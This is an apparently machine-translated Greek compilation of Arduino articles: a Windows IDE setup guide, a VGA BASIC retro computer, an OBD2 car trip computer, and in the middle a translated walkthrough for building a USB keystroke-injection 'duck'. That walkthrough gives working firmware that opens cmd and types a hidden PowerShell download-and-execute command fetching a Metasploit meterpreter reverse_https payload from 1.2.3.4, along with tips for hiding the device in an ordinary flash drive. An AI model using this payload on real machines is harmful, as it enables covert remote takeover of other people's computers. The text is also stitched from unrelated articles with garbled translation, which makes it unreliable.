Το Arduino λαμβάνει πληροφορίες συστήματος από υπολογιστή. Εγκατάσταση και ρύθμιση παραμέτρων του Arduino σε λειτουργικό σύστημα Windows. Σκίτσο. Έλεγχος του Arduino από υπολογιστή

Είστε ο περήφανος ιδιοκτήτης Πλακέτες Arduino. Τι να κάνω μετά? Και μετά πρέπει να συνδέσετε το Arduino με τον υπολογιστή. Θα κοιτάξουμε να ξεκινήσουμε Arduino Unoστο λειτουργικό σύστημα Windows.

1. Εγκατάσταση Arduino IDE

Πρώτα πρέπει να εγκαταστήσετε ένα ενσωματωμένο περιβάλλον στον υπολογιστή σας Ανάπτυξη Arduino - Arduino IDE.

Η εγκατάσταση του Arduino IDE χρησιμοποιώντας το πρόγραμμα εγκατάστασης θα σας σώσει από τα περισσότερα πιθανά προβλήματαμε προγράμματα οδήγησης και περιβάλλον λογισμικού.

2. Εκκινήστε το Arduino IDE

Μόλις κατεβάσετε και εγκαταστήσετε το Arduino IDE, ας το ξεκινήσουμε!

Μπροστά μας είναι το παράθυρο Arduino IDE. Λάβετε υπόψη ότι δεν έχουμε συνδέσει ακόμη την πλακέτα Arduino Uno στον υπολογιστή, αλλά στην κάτω δεξιά γωνία υπάρχει ήδη η επιγραφή "Arduino Uno στο COM1". Έτσι, το Arduino IDE μας λέει ότι στο αυτή τη στιγμήείναι ρυθμισμένο να λειτουργεί με τον στόχο Πλακέτα ArduinoΟΗΕ. Και όταν έρθει η ώρα, το Arduino IDE θα αναζητήσει το Arduino Uno στη θύρα COM1.

Θα αλλάξουμε αυτές τις ρυθμίσεις αργότερα.

Κάτι πήγε στραβά?

    Το Arduino IDE δεν ξεκινά; Το JRE πιθανώς να έχει εγκατασταθεί λανθασμένα στον υπολογιστή σας ( Java Runtimeπεριβάλλον). Ανατρέξτε στο σημείο (1) για εκ νέου Εγκαταστάσεις Arduino IDE: Το πρόγραμμα εγκατάστασης θα κάνει όλη τη δουλειά για την ανάπτυξη του JRE.

3. Σύνδεση του Arduino στον υπολογιστή

Μετά την εγκατάσταση του Arduino IDE, ήρθε η ώρα να συνδέσετε το Arduino Uno στον υπολογιστή σας.

Συνδέστε το Arduino Uno στον υπολογιστή σας μέσω καλωδίου USB. Θα δείτε το LED «ON» στην πλακέτα να ανάβει και το LED «L» θα αρχίσει να αναβοσβήνει. Αυτό σημαίνει ότι η πλακέτα είναι ενεργοποιημένη και Μικροελεγκτής Arduino Ξεκίνησε το Unoεκτελέστε το "Blink" που έχει προγραμματιστεί από το εργοστάσιο (το LED αναβοσβήνει).

Για να ρυθμίσουμε το Arduino IDE ώστε να λειτουργεί με το Arduino Uno, πρέπει να γνωρίζουμε ποιος αριθμός θύρας COM έχει εκχωρηθεί Υπολογιστής ArduinoΟΗΕ. Για να το κάνετε αυτό, μεταβείτε στη Διαχείριση συσκευών των Windows και ανοίξτε την καρτέλα "Θύρες (COM και LPT)". Θα πρέπει να δούμε την παρακάτω εικόνα:

Αυτό σημαίνει ότι το λειτουργικό σύστημα αναγνώρισε την πλακέτα Arduino Uno ως θύρα COM, επέλεξε το σωστό πρόγραμμα οδήγησης για αυτήν και εκχώρησε αυτήν τη θύρα COM 7. Εάν συνδέσουμε μια άλλη πλακέτα Arduino στον υπολογιστή, το λειτουργικό σύστημα θα της εκχωρήσει διαφορετικό αριθμό. Επομένως, εάν έχετε πολλές πλακέτες Arduino, είναι πολύ σημαντικό να μην μπερδεύεστε με τους αριθμούς θύρας COM.

Κάτι πήγε στραβά?

4. Διαμόρφωση του Arduino IDE ώστε να λειτουργεί με το Arduino Uno

Τώρα πρέπει να πούμε στο Arduino IDE ότι η πλακέτα με την οποία πρόκειται να επικοινωνήσει βρίσκεται στη θύρα COM "COM7".

Για να το κάνετε αυτό, μεταβείτε στο μενού "Service" → "Serial Port" και επιλέξτε τη θύρα "COM7". Τώρα το Arduino IDE γνωρίζει ότι κάτι υπάρχει στη θύρα "COM7". Και σύντομα θα πρέπει να επικοινωνήσει με αυτό το «κάτι».

Προκειμένου το Arduino IDE να μην έχει αμφιβολίες, είναι απαραίτητο να υποδείξετε απευθείας: "Θα χρησιμοποιήσουμε το Arduino Uno!" Για να το κάνετε αυτό, μεταβείτε στο μενού "Εργαλεία" → "Πίνακας" και επιλέξτε το "Arduino Uno".

Κάτι πήγε στραβά?

    Είναι κενή η λίστα με τις σειριακές θύρες; Αυτό σημαίνει ότι το Arduino Uno δεν είναι συνδεδεμένο σωστά. Επιστρέψτε στο βήμα (3) για εντοπισμό σφαλμάτων της σύνδεσης.

    Το Arduino IDE είναι απίστευτα αργό κατά την πλοήγηση στα μενού; Απενεργοποιήστε τα πάντα στη Διαχείριση Συσκευών εξωτερικές συσκευέςπληκτρολογήστε "Bluetooth Serial". Για παράδειγμα, εικονική συσκευήγια να συνδεθείτε με κινητό τηλέφωνομέσω Bluetooth μπορεί να προκαλέσει αυτήν τη συμπεριφορά.

Το περιβάλλον έχει διαμορφωθεί, η πλακέτα είναι συνδεδεμένη. Τώρα μπορείτε να προχωρήσετε στη μεταφόρτωση του σκίτσου.

Το Arduino IDE περιέχει πολλά έτοιμα παραδείγματα, στο οποίο μπορείτε να δείτε γρήγορα τη λύση σε ένα πρόβλημα. Περιέχει επίσης ένα απλό παράδειγμα "Blink". Ας το επιλέξουμε.

Ας τροποποιήσουμε λίγο τον κωδικό για να δούμε τη διαφορά με το εργοστασιακό LED που αναβοσβήνει.

Αντί για τη γραμμή:

Καθυστέρηση (1000);

Καθυστέρηση(100);

Πλήρης έκδοση του κώδικα:

/* Αναβοσβήνει Ανάβει ένα LED για εναδεύτερο, μετά απενεργοποιήστε για ένα δευτερόλεπτο, επανειλημμένα. Αυτό το παράδειγμα κώδικα βρίσκεται στον δημόσιο τομέα. */ // Το Pin 13 έχει συνδεδεμένο LED στις περισσότερες πλακέτες Arduino.// δώστε του ένα όνομα: int led = 13 ; // Η ρουτίνα εγκατάστασης εκτελείται μία φορά όταν πατάτε το reset: void setup() ( // αρχικοποιήστε την ψηφιακή ακίδα ως έξοδο. pinMode(led, OUTPUT) ; ) // η ρουτίνα βρόχου τρέχει ξανά και ξανά για πάντα: void loop() ( digitalWrite(led, HIGH) ; // ανάψτε το LED (HIGH είναι το επίπεδο τάσης)καθυστέρηση (100); // περιμένετε για ένα δεύτερο digitalWrite(led, LOW) ; // απενεργοποιήστε το LED κάνοντας την τάση ΧΑΜΗΛΗκαθυστέρηση (100); // περιμένετε για ένα δευτερόλεπτο)

Το LED "L" θα πρέπει τώρα να ανάψει και να σβήσει για ένα δέκατο του δευτερολέπτου. Αυτό είναι 10 φορές πιο γρήγορο από την εργοστασιακή έκδοση.

Ας ανεβάσουμε το σκίτσο μας στο Arduino Uno και ας ελέγξουμε αν αυτό ισχύει; Μετά την εκκίνηση, το LED θα αρχίσει να αναβοσβήνει πιο γρήγορα. Αυτό σημαίνει ότι όλα λειτούργησαν. Τώρα μπορείτε να προχωρήσετε με ασφάλεια στα "Πειράματα"

Κάτι πήγε στραβά?

    Ως αποτέλεσμα της λήψης, εμφανίζεται ένα σφάλμα όπως το avrdude: stk500_get sync(): δεν είναι συγχρονισμένο: resp = 0x00 ? Αυτό σημαίνει ότι το Arduino δεν έχει ρυθμιστεί σωστά. Επιστρέψτε στα προηγούμενα βήματα για να βεβαιωθείτε ότι η συσκευή έχει αναγνωριστεί λειτουργικό σύστημακαι εγκαταστάθηκε στο Arduino IDE σωστές ρυθμίσειςγια θύρα COM και μοντέλο πλακέτας.

10 Οκτωβρίου 2017 στις 09:09 μ.μ

Hacking υπολογιστή σε 3 δευτερόλεπτα. Φτιάχνοντας μια πάπια USB από την αρχή στο Arduino

  • DIY ή Κάντο μόνος σου
  • Μετάφραση

Ας ξεκινήσουμε με το παραδοσιακό «Αυτό το υλικό παρουσιάζεται μόνο για εκπαιδευτικούς σκοπούς». Αν χρησιμοποιήσετε αυτές τις πληροφορίες για να χακάρετε το HBO και να κυκλοφορήσετε την επόμενη σεζόν του Game of Thrones δωρεάν στο YouTube, λοιπόν... τέλεια. Με την έννοια ότι δεν ενθαρρύνω με κανέναν τρόπο μια τέτοια συμπεριφορά.

Αν δεν ξέρετε τι είναι το USB Rubber Ducky, είναι μια συσκευή που κατασκευάστηκε από τη Hak5, που απεικονίζεται εδώ. Μοιάζει και συμπεριφέρεται σαν μια κανονική μονάδα flash, αλλά μπορεί να προγραμματιστεί να είναι πολύ γρήγορη εισαγωγήπλήκτρα από το πληκτρολόγιο. Η «πάπια» είναι ικανή να χακάρει οποιοδήποτε σύστημα μέσα σε λίγα δευτερόλεπτα. Το μόνο μειονέκτημα είναι ότι θα χρειαστείτε φυσική πρόσβαση στον υπολογιστή. Και κοστίζει 50$, γι' αυτό έγραψα αυτό το άρθρο.

Χρησιμοποιούμε ένα Adafruit Trinket 5V και ένα καλώδιο microUSB - αυτό είναι το μόνο που χρειαζόμαστε.

Ευτυχώς, το Adafruit παρέχει μια βιβλιοθήκη για τη διεπαφή πληκτρολογίου USB, ώστε να μπορούμε να #συμπεριλάβουμε αμέσως. Θα χρειαστεί να εγκαταστήσετε τη βιβλιοθήκη ακολουθώντας αυτές τις οδηγίες.

#περιλαμβάνω

Μπορούμε πρώτα να παίξουμε με τη βιβλιοθήκη, ας ξεκινήσουμε αρχικοποιώντας τη μονάδα flash ως συσκευή HID χρησιμοποιώντας τη μέθοδο start().

#περιλαμβάνω void setup() ( TrinketKeyboard.begin(); ) void loop() ( TrinketKeyboard.print("Help, είμαι παγιδευμένος σε έναν υπολογιστή!\n"); delay(500); )

Φαίνεται καλό. Τώρα ας εκτελέσουμε τις εντολές στον υπολογιστή του θύματος. Αυτό μπορεί να γίνει κάνοντας "κλικ" κλειδί Windowsπληκτρολογώντας cmd, Enter, και μετά την ίδια την εντολή.

#περιλαμβάνω void pressEnter() ( TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); ) void winRun() ( TrinketKeyboard.pressKey(0x08, 0x15); delay( 30); TrinketKeyboard.pressKey(0,0); ) void setup() ( TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); )
Εξαιρετική. Ας δημιουργήσουμε ένα exploit στο πλαίσιο Metasploit.

Θα χρησιμοποιήσουμε την ενότητα web_delivery. Το επέλεξα γιατί υψηλή ταχύτητακαι χαμηλή πιθανότητα ενεργοποίησης του antivirus. Επίσης δεν γράφει τίποτα στο δίσκο, οπότε δεν αφήνει ίχνη όταν τελειώσει.

Εδώ σπάμε τα 64-bit Windows 10, επομένως θα στοχεύσουμε το PowerShell, αλλά να έχετε κατά νου ότι αυτό δεν αποτελεί εκμετάλλευση κατά του PowerShell. Απλώς χρησιμοποιούμε το κέλυφος για λήψη απαραίτητα αρχείααπό τον διακομιστή.

Πρέπει να πούμε στο πρόγραμμά μας από πού να πάρουμε τα δυαδικά αρχεία:

Σετ LPORT 443

Το Metasploit δημιουργεί ένα τυχαίο URIPATH κάθε φορά και θέλουμε να μπορούμε να ξεκινήσουμε και να σταματήσουμε την ακρόαση στη θύρα ανά πάσα στιγμή χωρίς να χρειάζεται να μεταγλωττίσουμε ξανά τον κώδικα για τη μονάδα flash.

Ρύθμιση URIPATH /

Τώρα πρέπει να επιλέξετε το Powershell ως μέθοδο παράδοσης. Το exploit υποστηρίζει τρεις στόχους, που επισημαίνονται με αναγνωριστικά: 0: Python, 1: PHP και 2: Powershell.

Τώρα ας ρωτήσουμε φορτίο επί πληρωμή. Χρησιμοποιώ το reverse_https, επειδή δουλεύουμε στη θύρα 443. Στα περισσότερα συστήματα ανίχνευσης εισβολής αυτό θα μοιάζει με μια κανονική σύνδεση.

Ρυθμίστε το PAYLOAD windows/meterpreter/reverse_https

Και επιτέλους εκμετάλλευση.

Για να διευκολύνουμε τη διακοπή και τη συνέχιση της ακρόασης μιας θύρας, ας δημιουργήσουμε αρχείο ρυθμίσεων: usb.rc.

Χρησιμοποιήστε exploit/multi/script/web_delivery
σετ LHOST 1.2.3.4
σετ LPORT 443
σετ URIPATH /
ορίστε ΣΤΟΧΟΣ 2
ορίστε PAYLOAD windows/meterpreter/reverse_https
εκμεταλλεύομαι

Παίρνουμε το ωφέλιμο φορτίο για να τρέξει στον υπολογιστή του θύματος:

Powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http ://1.2.3.4:8080/");

Τώρα μπορούμε να το εκτελέσουμε από τη μονάδα flash.

#περιλαμβάνω void pressEnter() ( TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); ) void winRun() ( TrinketKeyboard.pressKey(0x08, 0x15); delay( 30); TrinketKeyboard.pressKey(0,0); ) void setup() ( TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=: :GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");"); delay(100); pressEnter(); ) void loop() ( // τίποτα δεν συμβαίνει μετά την εγκατάσταση )
Λειτουργεί πολύ καλά. Χρειαζόμαστε περίπου 40 δευτερόλεπτα για να γαμήσουμε την Daenerys, εννοώ τον υπολογιστή του θύματος.

Λόγω της περιορισμένης ισχύος του παπιού, ο bootloader δεν είναι πάντα διαθέσιμος, όπως σε ένα κανονικό Arduino, μπορείτε να φορτώσετε τον κωδικό μόνο όταν πατήσετε ένα κουμπί στη μονάδα flash ή κατά τα πρώτα 30 δευτερόλεπτα λειτουργίας. Δηλαδή, περιμένουμε τα πρώτα 30 δευτερόλεπτα μετά τη σύνδεση της μονάδας flash για να λειτουργήσει πραγματικά ο κώδικας και μετά άλλα 10 δευτερόλεπτα για να πληκτρολογήσουμε και να εκτελέσουμε το σενάριο. Θα ήταν πολύ χρήσιμο να μειωθεί ο χρόνος πρόσβασης κατά 75%. Αυτός ο καλός άνθρωπος επεξεργάστηκε το υλικολογισμικό για να παραλείψει το bootloader κατά τη σύνδεση. Πήραμε τον κωδικό και αναβοσβήσαμε τη μονάδα flash, φορτώσαμε ξανά τον κωδικό και το ta-dam - όλα λειτουργούν. Αλλά μπορείτε να κάνετε ακόμα καλύτερα: καλό θα ήταν να κρύψετε το μικροκύκλωμα στη θήκη για να μην προκαλεί υποψίες.

Διάλεξα μία από αυτές τις δυσδιάκριτες μονάδες flash USB που δίνουν οι υπεύθυνοι προσλήψεων κατά εκατομμύρια και παρήγγειλα αυτούς τους μικρούς προσαρμογείς microUSB σε USB A OTG. Έπρεπε να κόψω τα περιττά εξαρτήματα πλακέτα τυπωμένου κυκλώματοςώστε να χωράει στη θήκη, έβαλα τον προσαρμογέα OTG μέσα Κέλυφος USBΑ και σφράγισε τα πάντα με υπερκόλλα. Για μένα, δεν μου φαίνεται καθόλου ύποπτο, αλλά και πάλι, 10 δευτερόλεπτα είναι πολύς χρόνος, ειδικά όταν κρύβεσαι από δράκους.

Μπορείτε επίσης να παραγγείλετε Arduino Pro Micro στο Amazon για περίπου 10 $. Εάν είστε υπομονετικοί, μπορείτε ακόμη και να βρείτε ένα στο eBay για περίπου $3 ή $4. Δεν είχα αρκετή μονάδα flash USB μεγάλο μέγεθοςγια το Pro Micro, έτσι συνέδεσα τον προσαρμογέα OTG, τον τύλιξα με ηλεκτρική ταινία και τον άφησα εκεί.

Πρέπει να αλλάξουμε λίγο το πρόγραμμα γιατί χρησιμοποιούμε διαφορετική βιβλιοθήκη, αλλά θα λειτουργήσει όπως πριν.

#include "Keyboard.h" void winRun() ( Keyboard.press(KEY_LEFT_GUI); Keyboard.press("r"); delay(30); Keyboard.releaseAll(); delay(100); ) void setup() ( Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden - c $C=new-object net.webclient;$C.proxy=::GetSystemWebProxy();$C.Proxy.Credentials=::DefaultCredentials;IEX $C.downloadstring("http://1.2.3.4:8080/ ");"); Keyboard.write(KEY_RETURN); ) void loop() ( // βάλτε τον κύριο κωδικό σας εδώ, για επανειλημμένη εκτέλεση: )
Το μεγαλύτερο Advantage ProΤο Micro είναι ταχύτητα. Τώρα χρειαζόμαστε μόνο 3 δευτερόλεπτα φυσικής πρόσβασης. Μια πραγματική επίθεση εν κινήσει. Εάν σκοπεύετε να χρησιμοποιήσετε αυτή τη δύναμη, κάντε το για καλό σκοπό. Σκότωσε τη Σέρσεϊ.

ντο χρησιμοποιώντας Arduinoμπορείτε να δημιουργήσετε έναν ρετρό υπολογιστή 8-bit με Basic (παρόμοιο με το ZX Spectrum) με έξοδο έγχρωμης εικόνας σε οθόνη VGA.

Επιπλέον, αυτό το έργο μπορεί να χρησιμοποιηθεί ως ένας εύκολος τρόπος εξόδου γραπτά μηνύματαστην οθόνη.

Από μόνη της, η ιδέα της χρήσης του Arduino για τη δημιουργία ενός υπολογιστή με BASIC δεν είναι νέα, αλλά από όσο γνωρίζω, όλα δεν υποστηρίζουν έγχρωμη έξοδο. Ορισμένα έργα χρησιμοποιούσαν οθόνες LCD και άλλα χρησιμοποιούσαν βιβλιοθήκη TVout, το οποίο βγάζει ασπρόμαυρη εικόνα. Επιπλέον, πολλά από αυτά τα έργα απαιτούν πρόσθετες ενότητεςκαι ειδικές κάρτες επέκτασης. Το μόνο που χρειάζεστε είναι δύο Arduinos, αρκετές αντιστάσεις, συν υποδοχές για ένα πληκτρολόγιο PS/2 και μια οθόνη VGA.

Το έργο απαιτεί δύο πλακέτες Arduino: η μία θα είναι η κύρια (ή «κύρια»), θα εκτελεί τον διερμηνέα Tiny Basic Plus (αυτή είναι μια θύρα του Tiny Basic στη γλώσσα C, προσαρμοσμένη για να υποστηρίζει το Arduino). Αυτό το Arduino ελέγχει επίσης το πληκτρολόγιο PS/2. Συμπέρασμα από πρώτο Arduinoαποστέλλεται μέσω της σειριακής θύρας στο δεύτερο Arduino, το οποίο, χρησιμοποιώντας τη βιβλιοθήκη VGAxπαράγει ένα σήμα VGA.

Πρόγραμμα για ΒΑΣΙΚΗ γλώσσαθα είναι δυνατή η είσοδος στον υπολογιστή που συναρμολογήσαμε χρησιμοποιώντας ένα πληκτρολόγιο PS/2 και το αποτέλεσμα μπορεί να προβληθεί σε οθόνη VGA: η ανάλυση της εικόνας που προκύπτει είναι 24 στήλες επί 10 σειρές, το μέγεθος χαρακτήρων είναι 5x6 pixel, 4 χρώματα είναι διαθέσιμα.
Μετά την είσοδο στο πρόγραμμα, μπορεί να αποθηκευτεί μη-πτητική μνήμηΤο ίδιο το Arduino, καθώς και ο κώδικας προγράμματος, προβλέπει τον έλεγχο των ακίδων I/O του Arduino.

1. Συνδέστε το κύριο Arduino με τον διερμηνέα TinyBasic και ένα πληκτρολόγιο PS/2

Η βιβλιοθήκη TinyBasic Plus και VGAx λειτουργούν με το Arduino IDE 1.6.4.
Εάν έχετε ήδη περισσότερα από μια νέα έκδοση, Οτι Η καλύτερη απόφαση- κατεβάστε αυτήν την έκδοση από τον επίσημο ιστότοπο σε μορφή .zip και αποσυσκευάστε την σε ξεχωριστό φάκελο. Μπορείτε να κάνετε λήψη αυτής της έκδοσης για Windows.

Τότε θα χρειαστούμε τη βιβλιοθήκη πληκτρολογίου PS2, μπορείτε να την κατεβάσετε από εδώ. Μετά τη λήψη, απλώς αποσυμπιέστε το αρχείο και αντιγράψτε τα περιεχόμενά του στο "arduino-1.6.4\libraries".

Εάν δεν υπάρχουν προβλήματα σε αυτό το στάδιο (συμπεριλαμβανομένων ζητημάτων συμβατότητας), τότε το Tiny Basic θα ξεκινήσει αυτόματα όταν ενεργοποιήσετε το Arduino. Και μπορεί να δοκιμαστεί χρησιμοποιώντας τη σειριακή θύρα στον υπολογιστή σας. Για αυτούς τους σκοπούς χρησιμοποιώ PuTTY, αλλά μπορείτε να χρησιμοποιήσετε ένα άλλο παρόμοιο πρόγραμμα, σύμφωνα με το γούστο σας.

Στις ρυθμίσεις πρέπει να ρυθμίσετε σωστά τη θύρα COM (η ίδια που χρησιμοποιείται στο Arduino) και το baud rate = 4800.

Και εδώ μπορείτε ήδη να δοκιμάσετε το σύστημά μας πληκτρολογώντας κάποιο πρόγραμμα στο Basic από το πληκτρολόγιο του υπολογιστή σας (αργότερα θα συνδέσουμε το πληκτρολόγιο PS/2 απευθείας στο Arduino).

Για παράδειγμα, μπορείτε να πληκτρολογήσετε:

10 ΕΚΤΥΠΩΣΗ "Γεια σου Κόσμε!" 20 GOTO 10 RUN
Αμβλώνω ατελείωτος κύκλοςαυτό το πρόγραμμα μπορεί να γίνει χρησιμοποιώντας το συνδυασμό πλήκτρων Ctrl+C (αυτό δεν θα λειτουργήσει αν το κάνουμε από πληκτρολόγιο PS/2).

Τώρα ας συνδέσουμε το πληκτρολόγιο PS/2.

2. Συνδέστε το πληκτρολόγιο PS/2 στο κύριο Arduino

Πληροφορίες και βιβλιοθήκη ελήφθησαν από αυτό το υλικό.

Ουσιαστικά, πρέπει να συνδέσετε τις ακόλουθες τέσσερις ακίδες:
Πληκτρολόγιο δεδομένων σε Arduino pin 8,
IRQ (ρολόι) του πληκτρολογίου στον ακροδέκτη 3 του Arduino.
και επίσης συνδέστε το τροφοδοτικό γείωσης (GND) και +5V, αντίστοιχα.

Χρησιμοποίησα μια υποδοχή PS/2 από μια παλιά που δεν λειτουργεί μητρική πλακέτα, σβήνεται εύκολα με πιστολάκι μαλλιών.

Το pinout της υποδοχής PS/2 φαίνεται στο σχήμα:

3. Φορτώστε τη βιβλιοθήκη VGAxκαι τον κωδικό στο δεύτερο Arduino, και συνδέστε το στο κύριο


Για να ξεκινήσετε, κατεβάστε τον κώδικα VGAx-PC.ino και αντιγράψτε τον στον υπολογιστή σας σε έναν φάκελο με το ίδιο όνομα.

Στη συνέχεια, πραγματοποιήστε λήψη της βιβλιοθήκης VGAx από το GitHub. Θα πρέπει να τοποθετηθεί στον υποφάκελο «βιβλιοθήκες» του Arduino IDE.

ΣΠΟΥΔΑΙΟΣ! Αυτή η βιβλιοθήκη λειτουργεί με το Arduno IDE 1.6.4 και ενδέχεται να μην είναι συμβατή με άλλες, νεότερες εκδόσεις.

Τώρα φορτώστε το VGAx-PC.ino στο δεύτερο Arduino (το δοκίμασα Arduino Nano, αλλά δεν θα πρέπει να υπάρχουν προβλήματα ούτε με το Arduino Uno).

Προειδοποίηση ότι δεν είναι αρκετό διαθέσιμη μνήμη- αυτό είναι φυσιολογικό για την περίπτωσή μας. Εάν δεν υπάρχουν άλλα σφάλματα, τότε όλα είναι καλά - και μπορείτε να κάνετε μερικά ακόμη βήματα για να αποκτήσετε τον δικό σας ρετρό υπολογιστή 8-bit.

Για να το κάνετε αυτό χρειάζεστε:

  • δύο Arduino Uno Rev.3 ή δύο Arduino Nano 3.x (με βάση το ATmega328)
  • Υποδοχή DSUB15, π.χ. Υποδοχή VGA ή καλώδιο με υποδοχή που δεν σας πειράζει να κόψετε
  • αντιστάσεις: 2 στα 68 Ohm και 2 στα 470 Ohm
  • Υποδοχή PS2
  • σύρματα
  • προαιρετικά: breadboard

Το μόνο που μένει είναι να συνδέσουμε τα πάντα σύμφωνα με το διάγραμμα στο σχήμα και ο υπολογιστής 8-bit μας είναι έτοιμος!

Βίντεο για το πώς λειτουργούν όλα:

Για περίπου 25 δολάρια θα κάνουμε ενσωματωμένος υπολογιστής, που μπορεί να υπολογίσει την κατανάλωση καυσίμου, να δείξει τη θερμοκρασία ψυκτικού, την ταχύτητα του αυτοκινήτου, την απόσταση διαδρομής, τη βενζίνη που καταναλώθηκε κατά τη διάρκεια του ταξιδιού, τις στροφές κινητήρα, την πίεση στην πολλαπλή εισαγωγής, τη θερμοκρασία της πολλαπλής εισαγωγής, το SOP και πολλά άλλα. Η επαναφορά σφάλματος είναι διαθέσιμη στη λειτουργία |--ανάκτηση--|. (ο τρόπος εισαγωγής γράφεται παρακάτω). Η λήψη δεδομένων από την ECU πραγματοποιείται περίπου 2 φορές το δευτερόλεπτο.

Περισσότερες φωτογραφίες














Λίστα απαιτούμενων εξαρτημάτων για τη συναρμολόγηση BC

1) Arduino Uno R3 - 1 τεμ. ~$7:

2) Μονάδα LCD 2004 ~ 6$:

3) Μονάδα Bluetooth HC-05 ~ 4 $:

4) Σαρωτής Bluetooth OBD ELM327 ~ 4 $:

5) Αντίσταση κοπής 5 kOhm, βομβητής για ήχο, 2 κουμπιά για αλλαγή οθονών, καλώδια για συνδέσεις, περίβλημα ~ 3 $.

Ρύθμιση της μονάδας Bluetooth HC-05 για λειτουργία

Συγκολλήστε τα καλώδια στις ακίδες bluetooth: (Δείτε την εικόνα με τις εξόδους στην περιγραφή των απαιτούμενων εξαρτημάτων)

  • 1 είναι TX
  • Το 2 είναι το RX
  • Το 12 είναι 3,3 V
  • 13 είναι GND
  • 34 - ρίχνουμε επίσης 3,3 V σε αυτήν την είσοδο (απαιτείται για να τεθεί η μονάδα σε λειτουργία διαμόρφωσης χρησιμοποιώντας εντολές AT).

Συνδέουμε τη μονάδα Bluetooth στο Arduino.

  • 1 - Μονάδα TX σε Arduino 6 ακίδων. (προσοχή θα υπάρχει TX στο TX αυτό δεν είναι σφάλμα!)
  • 2 - Μονάδα RX σε Arduino 7 ακίδων. (ομοίως δεν είναι λάθος!)
  • 12 - και 34 ακίδες σε 3,3V arduino.
  • 13 - GND arduino.

Ανοίξτε το Aduino IDE και ανεβάστε το σκίτσο μέσω θύρα USBσε πληρωμή.

#περιλαμβάνω
SoftwareSerial BTSerial(6, 7); //TX | RX
void setup()
{
Serial.begin(9600);
Serial.println("Εισαγωγή εντολών AT:");
BTSerial.begin(38400);
}

void loop()
{
if (BTSerial.available())
Serial.write(BTSerial.read());
if (Serial.available())
BTSerial.write(Serial.read());
}

Μετά την επιτυχή λήψη του σκίτσου, ανοίξτε: Εργαλεία-> Παρακολούθηση θυρών. Στη συνέχεια, στο κάτω μέρος ρυθμίζουμε την ταχύτητα στα 9600 baud και NL+CR μαζί.

AT // (ίσως θα εμφανιστεί ένα Σφάλμα μία φορά, μην ανησυχείτε... αυτό είναι φυσιολογικό, επαναλάβετε ξανά)
AT+NAME=Αυτοκίνητο //Εκχωρήστε ένα όνομα στη μονάδα αυτοκινήτου
AT+ROLE=1 // Αλλάξτε τη μονάδα σε λειτουργία Master
AT+PSWD=1234 // Ορίστε τον κωδικό πρόσβασης στο 1234 όπως στο OBD ELM327
AT+BIND=AABB,CC,112233 //Καταχωρίζουμε τη διεύθυνση Mac OBD ELM327.
AT+CMODE=1 // Συνδέστε μια μονάδα με σταθερή διεύθυνση

Λάβετε υπόψη ότι μια διεύθυνση mac της μορφής: "AA:BB:CC:11:22:33" εισάγεται ως "AABB,CC,112233". Διεύθυνση MACΜπορείτε να δείτε τη μονάδα ELM327 συνδέοντας πρώτα σε αυτήν από το κινητό σας τηλέφωνο. ( Τυπικοί κωδικοί πρόσβασηςσυνήθως: 1234, 6789, 0000).

Αυτό είναι όλο, εγκατάσταση Μονάδα Bluetoothπεπερασμένος.

Τώρα πρέπει να συναρμολογήσουμε το κύκλωμα Arduino, το bluetooth, την οθόνη LCD

1. Ας ξεκινήσουμε συνδέοντας τη μονάδα Bluetooth HC-05.

  • 1 - βάζουμε τη μονάδα TX στα 7 Pin (Rx) του arudin (ακριβώς TX σε RX, όχι όπως πριν).
  • 2 - Οι μονάδες RX εισάγονται σε arudins 8 Pin (Tx).
  • 12 - Pin (3,3V) της μονάδας στην καρφίτσα 3,3V arduino.
  • 13 - Καρφίτσωμα (Gnd) στο Gnd aruduins.
  • 34 - Δεν συνδέουμε το Pin πουθενά (απομόνωση ή αποκόλληση).

2. Συνδέστε την οθόνη LCD.

  • VSS της οθόνης στο GND του arduino.
  • Οθόνη VDD σε 5V arduino.
  • V0 της οθόνης στην κεντρική έξοδο της αντίστασης.
  • Οθόνη RS στην ακίδα 12 του Arduino.
  • RW της οθόνης στο GND του arduino.
  • E της οθόνης στην καρφίτσα 11 του Arduino.
  • Οθόνη DB4 στην καρφίτσα 5 του Arduino.
  • Οθόνη DB5 σε 4 pin Arduino.
  • Οθόνη DB6 σε 3 pin Arduino.
  • Οθόνη DB7 σε Arduino pin 2.
  • A - έως 5V arduino.
  • K - GND του arduino.

Τα υπόλοιπα σκέλη της αντίστασης: συνδέστε το ένα στο GND του arduino και το δεύτερο στα 5V του arduino.

Η μεταβλητή αντίσταση 5k Ohm είναι απαραίτητη για τον έλεγχο της αντίθεσης της οθόνης, οπότε αν την πρώτη φορά που την ενεργοποιείτε και δεν βλέπετε τίποτα, δοκιμάστε να ρυθμίσετε την αντίθεση της γραμματοσειράς γυρίζοντας την αντίσταση.

3. Συνδέστε πρόσθετο κουμπίγια εναλλαγή οθονών δεδομένων.

: το ένα άκρο του κανονικά ανοιχτού κουμπιού συνδέεται στο GND του Arduino και το άλλο άκρο στον ακροδέκτη 10.
: GND + pin 9.

Συνδέστε το βομβητή για ηχητικές προειδοποιήσεις σύμφωνα με το ακόλουθο κύκλωμα "+" στον ακροδέκτη 13 και μείον στο GND του Arduino.

Μεταφόρτωση του σκίτσου στο Arduino χρησιμοποιώντας το Arduino IDE

Το μόνο πράγμα είναι ότι το σκίτσο περιέχει μια μεταβλητή που πρέπει να ρυθμιστεί ανάλογα με τον όγκο του αυτοκινήτου σας. Το σκίτσο είναι γραμμένο για να το καταλάβει ο καθένας και να διορθώσει ό,τι θέλει.

